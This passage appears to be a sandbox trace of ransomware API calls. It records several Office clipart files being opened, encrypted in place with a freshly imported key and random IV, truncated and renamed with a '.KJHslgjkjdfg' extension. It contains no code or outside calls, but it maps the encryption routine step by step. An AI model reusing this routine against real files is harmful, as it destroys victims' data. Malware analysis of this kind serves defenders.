(HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.437] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.437] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.437] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0193.439] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.439] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.439] GetProcessHeap () returned 0x2ef0000 [0193.439] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.439] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.439] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.439] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.440] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.440] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.440] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.440] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.440] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.440] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.440] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.440] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x4fe6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x4fe6, lpOverlapped=0x0) returned 1 [0193.441] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ff0, dwBufLen=0x4ff0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x4ff0) returned 1 [0193.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.442] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x4ff0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x4ff0, lpOverlapped=0x0) returned 1 [0193.442] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.442] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x50c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.442] SetEndOfFile (hFile=0x130) returned 1 [0193.445] GetProcessHeap () returned 0x2ef0000 [0193.445] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.445] GetProcessHeap () returned 0x2ef0000 [0193.445] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.445] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19563_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19563_.gif.kjhslgjkjdfg")) returned 1 [0193.448] CloseHandle (hObject=0x130) returned 1 [0193.449] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4f48c00, ftCreationTime.dwHighDateTime=0x1bd4d56, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe4f48c00, ftLastWriteTime.dwHighDateTime=0x1bd4d56, nFileSizeHigh=0x0, nFileSizeLow=0x3d75, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19582_.GIF", cAlternateFileName="")) returned 1 [0193.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.450] GetProcessHeap () returned 0x2ef0000 [0193.450] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.450] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.450] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.450] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xb, lpOverlapped=0x0) returned 1 [0193.453] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.453] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.453] GetProcessHeap () returned 0x2ef0000 [0193.453] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.453] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.453] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.453] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.453] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.453] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.453] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.454] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.454] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.454] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.454] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.454] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3d75, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3d75, lpOverlapped=0x0) returned 1 [0193.455] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d80, dwBufLen=0x3d80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3d80) returned 1 [0193.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.455] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3d80, lpOverlapped=0x0) returned 1 [0193.455] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3e54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.456] SetEndOfFile (hFile=0x130) returned 1 [0193.457] GetProcessHeap () returned 0x2ef0000 [0193.457] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.457] GetProcessHeap () returned 0x2ef0000 [0193.457] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.457] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19582_.GIF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19582_.gif.kjhslgjkjdfg")) returned 1 [0193.478] CloseHandle (hObject=0x130) returned 1 [0193.478] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c6cc00, ftCreationTime.dwHighDateTime=0x1bd4d5a, ftLastAccessTime.dwLowDateTime=0x5190ae70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc4c6cc00, ftLastWriteTime.dwHighDateTime=0x1bd4d5a, nFileSizeHigh=0x0, nFileSizeLow=0x32b6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19695_.WMF", cAlternateFileName="")) returned 1 [0193.478] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.479] GetProcessHeap () returned 0x2ef0000 [0193.479] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.479] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.479] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.479] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xa, lpOverlapped=0x0) returned 1 [0193.481] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.481] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.481] GetProcessHeap () returned 0x2ef0000 [0193.482] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.482] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.482] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.482] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.482] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.482] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.482] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.482] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.482] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.482] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.482] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.482] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.482] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x32b6, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x32b6, lpOverlapped=0x0) returned 1 [0193.483] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x32c0, dwBufLen=0x32c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x32c0) returned 1 [0193.483] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.484] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x32c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x32c0, lpOverlapped=0x0) returned 1 [0193.484] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.484] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3394, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.484] SetEndOfFile (hFile=0x130) returned 1 [0193.486] GetProcessHeap () returned 0x2ef0000 [0193.487] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.487] GetProcessHeap () returned 0x2ef0000 [0193.487] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.487] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19695_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19695_.wmf.kjhslgjkjdfg")) returned 1 [0193.491] CloseHandle (hObject=0x130) returned 1 [0193.491] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee332800, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xee332800, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x25ee, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19827_.WMF", cAlternateFileName="")) returned 1 [0193.492] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.493] GetProcessHeap () returned 0x2ef0000 [0193.493] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.493] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.493] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.493] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0193.496] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.496] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.496] GetProcessHeap () returned 0x2ef0000 [0193.496] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0193.496] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0193.496] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.496] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0193.497] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0193.497] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0193.497] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0193.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0193.497] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0193.497] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.497] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0193.497] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.497] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x25ee, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x25ee, lpOverlapped=0x0) returned 1 [0193.498] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x25f0, dwBufLen=0x25f0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x25f0) returned 1 [0193.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.499] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x25f0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x25f0, lpOverlapped=0x0) returned 1 [0193.499] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0193.499] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x26c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.499] SetEndOfFile (hFile=0x130) returned 1 [0193.502] GetProcessHeap () returned 0x2ef0000 [0193.502] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0193.502] GetProcessHeap () returned 0x2ef0000 [0193.502] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0193.502] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19827_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19827_.wmf.kjhslgjkjdfg")) returned 1 [0193.519] CloseHandle (hObject=0x130) returned 1 [0193.520] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed01fb00, ftCreationTime.dwHighDateTime=0x1bd4d59, ftLastAccessTime.dwLowDateTime=0x5f586430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xed01fb00, ftLastWriteTime.dwHighDateTime=0x1bd4d59, nFileSizeHigh=0x0, nFileSizeLow=0x2244, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BD19828_.WMF", cAlternateFileName="")) returned 1 [0193.520] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD19828_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd19828_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.521] GetProcessHeap () returned 0x2ef0000 [0193.521] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0193.521] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0193.521] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0193.521] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0193.526] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0193.526] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 